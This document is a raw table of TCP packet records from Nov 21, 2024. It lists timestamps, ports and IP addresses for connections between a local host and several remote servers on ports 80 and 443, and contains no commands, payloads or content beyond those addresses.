Nov 21, 2024 07:10:22.446007013 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.446027040 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.446060896 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.446799040 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.446929932 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.446945906 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.446988106 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.447657108 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.447704077 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.447742939 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.447786093 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.448518991 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.448570967 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.448635101 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.448677063 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.449417114 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.449460983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.449542999 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.449601889 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.450288057 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.450351000 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.450364113 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.450401068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.451159000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.451209068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.451248884 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.451287985 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.452088118 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.452140093 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.452184916 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.452224970 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.452970982 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.453021049 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.453021049 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.453058958 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.453823090 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.453886986 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.453921080 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.453991890 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.454694986 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.454735041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.454807997 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.454845905 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.455590010 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.455684900 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.455686092 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.455722094 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.456453085 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.456510067 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.456530094 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.456543922 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.457321882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.457379103 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.457389116 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.457432985 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.597727060 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:22.598437071 CET	49793	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:22.598520041 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:22.599095106 CET	49793	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:22.599112034 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:22.995210886 CET	443	49795	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:22.999653101 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:22.999684095 CET	443	49795	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.000085115 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.000109911 CET	443	49795	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.014429092 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.017534018 CET	49794	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.017595053 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.017874002 CET	49794	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.017888069 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.041254997 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.041306019 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.047195911 CET	49793	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.047483921 CET	49793	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.047483921 CET	49793	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.047522068 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.047549009 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.049869061 CET	49798	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.049973965 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.050323009 CET	49798	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.050458908 CET	49798	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.050496101 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.138751030 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.139115095 CET	49796	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.139138937 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.139576912 CET	49796	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.139588118 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.421737909 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.422374010 CET	49797	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.422446012 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.422892094 CET	49797	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.422905922 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.438740969 CET	443	49795	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.438891888 CET	443	49795	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.439132929 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.439132929 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.439132929 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.441333055 CET	49799	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.441387892 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.441487074 CET	49799	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.441585064 CET	49799	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.441602945 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.470973969 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.471146107 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.471394062 CET	49794	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.471582890 CET	49794	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.471628904 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.471667051 CET	49794	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.471683025 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.473817110 CET	49800	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.473841906 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.473922968 CET	49800	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.474013090 CET	49800	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.474024057 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.594928026 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.594995022 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.595052004 CET	49796	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.595362902 CET	49796	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.595362902 CET	49796	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.595392942 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.595419884 CET	443	49796	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.597908974 CET	49801	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.597966909 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.598036051 CET	49801	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.598279953 CET	49801	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.598304987 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.746486902 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.746511936 CET	443	49795	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.886817932 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.886856079 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.886936903 CET	49797	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.887244940 CET	49797	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.887288094 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.887340069 CET	49797	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.887356043 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.890868902 CET	49802	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.890881062 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:23.890944004 CET	49802	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.891076088 CET	49802	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:23.891084909 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:24.690857887 CET	49781	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:24.691174984 CET	49803	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:24.810626030 CET	80	49803	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:24.810720921 CET	49803	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:24.810794115 CET	80	49781	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:24.810852051 CET	49781	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:24.810992002 CET	49803	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:24.892956018 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:24.893640041 CET	49798	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:24.893703938 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:24.894112110 CET	49798	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:24.894129992 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:24.930378914 CET	80	49803	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:25.164875984 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.166758060 CET	49799	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.166820049 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.167072058 CET	49799	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.167087078 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.323122025 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.324163914 CET	49800	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.324176073 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.324734926 CET	49800	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.324738979 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.345577955 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.345633984 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.345710039 CET	49798	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.345897913 CET	49798	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.345897913 CET	49798	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.345936060 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.345977068 CET	443	49798	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.349355936 CET	49804	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.349394083 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.349478006 CET	49804	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.349590063 CET	49804	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.349603891 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.418437004 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.419517994 CET	49801	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.419534922 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.419915915 CET	49801	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.419922113 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.599930048 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.600071907 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.600135088 CET	49799	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.600311041 CET	49799	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.600311041 CET	49799	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.600368977 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.600395918 CET	443	49799	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.602837086 CET	49805	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.602919102 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.603250027 CET	49805	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.603444099 CET	49805	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.603477001 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.669143915 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.669606924 CET	49802	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.669615984 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.670034885 CET	49802	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.670038939 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.776267052 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.776415110 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.782257080 CET	49800	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.782672882 CET	49800	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.782685041 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.782694101 CET	49800	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.782699108 CET	443	49800	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.785125971 CET	49806	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.785166979 CET	443	49806	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.785262108 CET	49806	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.785404921 CET	49806	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.785419941 CET	443	49806	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.806957006 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:25.867719889 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.867788076 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.867866039 CET	49801	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.867997885 CET	49801	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.867997885 CET	49801	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.868021011 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.868031979 CET	443	49801	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.870038986 CET	49808	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.870055914 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.870136023 CET	49808	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.870358944 CET	49808	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:25.870374918 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:25.926414013 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:25.926532030 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:25.926717997 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:26.046118975 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:26.115398884 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:26.115451097 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:26.115708113 CET	49802	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:26.115729094 CET	49802	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:26.115741968 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:26.115750074 CET	49802	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:26.115753889 CET	443	49802	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:26.118561983 CET	49809	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:26.118577957 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:26.118650913 CET	49809	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:26.118820906 CET	49809	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:26.118833065 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:26.202374935 CET	80	49803	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:26.202521086 CET	49803	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:26.204922915 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:26.205174923 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:26.324717999 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:26.324765921 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:26.324840069 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:26.324852943 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:26.325047016 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:26.444510937 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.063776970 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.074251890 CET	49804	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.074296951 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.078176975 CET	49804	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.078195095 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.313036919 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:27.313246965 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:27.417043924 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:27.454926968 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.458472013 CET	49805	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.458532095 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.458868027 CET	49805	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.458882093 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.497946978 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.498002052 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.498075008 CET	49804	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.498594999 CET	49804	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.498594999 CET	49804	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.498630047 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.498673916 CET	443	49804	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.502502918 CET	49811	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.502532959 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.502593994 CET	49811	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.502878904 CET	49811	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.502890110 CET	443	49811	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.505319118 CET	443	49806	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.505867004 CET	49806	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.505887032 CET	443	49806	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.506239891 CET	49806	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.506252050 CET	443	49806	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.536561966 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:27.657651901 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.658102036 CET	49808	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.658113956 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.658530951 CET	49808	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.658536911 CET	443	49808	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.718872070 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.718938112 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.718950033 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.718960047 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.718967915 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.718996048 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.719007969 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.719017982 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.719026089 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.719027042 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.719069004 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.719084978 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.719089031 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.719095945 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.719105959 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.719129086 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.719165087 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.839441061 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.839498997 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.839505911 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.839555025 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.880085945 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:27.880145073 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:27.881210089 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:27.897142887 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.897608042 CET	49809	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.897630930 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.898041010 CET	49809	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.898045063 CET	443	49809	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.908057928 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.908211946 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.908272982 CET	49805	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.908304930 CET	49805	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.908327103 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.908335924 CET	49805	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.908341885 CET	443	49805	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.910881042 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.910898924 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.910972118 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.911103964 CET	49812	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:27.911117077 CET	443	49812	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.920167923 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.920228004 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.920309067 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.920368910 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.922569990 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.922617912 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.922674894 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.922724009 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.930963039 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.931022882 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.931097031 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.931142092 CET	49810	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:27.939166069 CET	443	49806	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:27.939337015 CET	80	49810	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:27.939336061 CET	443	49806	13.107.246.45	192.168.2.4
